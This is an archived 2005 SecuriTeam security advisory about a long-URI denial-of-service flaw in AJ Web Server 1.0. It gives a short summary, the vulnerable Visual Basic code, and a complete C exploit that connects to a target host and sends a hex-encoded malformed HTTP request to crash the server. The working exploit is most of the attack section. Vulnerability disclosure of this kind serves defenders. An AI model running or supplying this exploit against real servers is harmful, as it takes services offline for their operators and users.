

[EXPL] AJ Web Server Buffer Overflow DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0010.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/01/05

To: list@securiteam.com

Date: 1 May 2005 18:30:45 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

AJ Web Server Buffer Overflow DoS

SUMMARY

<<http://www.diamond.web-page.net/>> AJ Web Server is "an Visual Basic open source HTTP Server, using winsock, it allow your computer to become a webserver. It supports PHP, form posting, images, custom error pages and several connections at once".

Flaws in the way HTTP request are handled by Aj Server makes it vulnerable to a denial of service vulnerability whenever it tries to handle a long URI.

DETAILS

Vulnerable Systems:

* AJ Server 1.0

Vulnerability:

Buffer overrun condition exist in URL handling, sending long GET request will cause server process to exit and may allow malicious code injection.

Vulnerable code (frmCWS.frm):

```
Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
```

Securiteam: [EXPL] AJ Web Server Buffer Overflow DoS

```
On Error GoTo 404
Winsock1(Index).GetData wData, vbString, bytesTotal
Text1 = wData
```

```
Dim newLine1 As String
line1 = Split(Text1, vbCrLf)
file = Split(line1(0), " ")line1 is vulnerable!
```

When requesting GET or POST and HEAD, following error will emerge;
Compile error;ByRef argument type mismatch
This will cause a remote machine running the web server to stop responding.

Exploit:

```
/*
```

```
  AJ Server DoS Exploit
```

INFGP – Hacking&security Research

```
Resolve host...[OK]
[+] Connecting...[OK]
Target locked
Sending bad procedure...[OK]
[*] Server DoS'ed..that must be hurt!
```

Greats: Infam0us Gr0up, Yudha(mephistopheles), Kavling Community.
Info: 98.to/infamous

```
*/
```

```
#include <string.h>
#include <winsock2.h>
#include <stdio.h>
```

```
#pragma comment(lib, "ws2_32.lib")
```

```
char doscore[] = "GET HTTP/1.0 "
"\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
"\x2d\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
"\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
"\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
"\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
"\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
"\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
"\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
"\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
"\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
```

Securiteam: [EXPL] AJ Web Server Buffer Overflow DoS

```
"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"  
"\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"  
"\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"  
"\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"  
"\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"  
"\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"  
"\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"  
"\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"  
"\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"  
"\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"  
"\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"  
"\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"  
"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"  
"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"  
"\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"  
"\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"  
"\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"  
"\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"  
"\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"  
"\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"  
"\x69\x6d\x61\x67\x65\r\x8f\xfa\xa3\xc5\xfd\xfc\xff\xfa\xf6\xf4\n";
```

```
int main(int argc, char *argv[])  
{  
    WSADATA wsaData;  
    WORD wVersionRequested;  
    struct hostent *pTarget;  
    struct sockaddr_in sock;  
    char *target;  
    int port,bufsize;  
    SOCKET inetdos;  
  
    if (argc < 2)  
    {  
        printf(" AJ Server DoS Exploit \n", argv[0]);  
        printf(" -----\n", argv[0]);  
        printf(" INFGP – Hacking&Security Research\n\n", argv[0]);  
        printf("[–]Usage: %s [target] [port]\n", argv[0]);  
        printf("[?]Exam: localhost 80\n", argv[0]);  
        exit(1);  
    }  
  
    wVersionRequested = MAKEWORD(1, 1);  
    if (WSAStartup(wVersionRequested, &wsaData) < 0) return –1;  
  
    target = argv[1];  
    port = 80;  
  
    if (argc >= 3) port = atoi(argv[2]);  
    bufsize = 1024;  
    if (argc >= 4) bufsize = atoi(argv[3]);
```

Securiteam: [EXPL] AJ Web Server Buffer Overflow DoS

```
inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}

printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( ( connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) ))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:basher13@linuxmail.org>> eric basher.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] AJ Web Server Buffer Overflow DoS

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.